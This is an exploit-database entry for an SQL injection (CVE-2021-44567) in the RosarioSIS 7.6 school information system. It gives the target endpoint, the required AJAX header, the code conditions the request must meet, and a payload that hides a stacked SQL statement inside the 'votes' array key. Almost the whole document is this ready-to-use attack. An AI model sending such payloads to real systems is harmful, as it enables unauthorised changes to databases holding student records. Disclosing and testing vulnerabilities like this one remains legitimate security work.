RosarioSIS 7.6 - SQL Injection

Author: CodeSecLab
type: webapps
platform: php
port: 
date_added: 2025-04-11  
date_updated: 2025-04-13  
verified: 0  
codes: CVE-2021-44567  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52169.txt  

# Exploit Title: RosarioSIS 7.6 - SQL Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://gitlab.com/francoisjacquet/rosariosis
# Software Link: https://gitlab.com/francoisjacquet/rosariosis
# Version: 7.6
# Tested on: Ubuntu Windows
# CVE : CVE-2021-44567

PoC:

POST /ProgramFunctions/PortalPollsNotes.fnc.php HTTP/1.1
X-Requested-With: XMLHttpRequest

constrain and some flow:
isset( $_POST['votes'] ) && is_array( $_POST['votes'] ) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' && foreach ( (array) $_POST['votes'] as $poll_id => $votes_array ) && if ( ! empty( $votes_array ) ) && PortalPollsVote( $poll_id, $votes_array )

votes['; CREATE TABLE aaa(t text) --]=1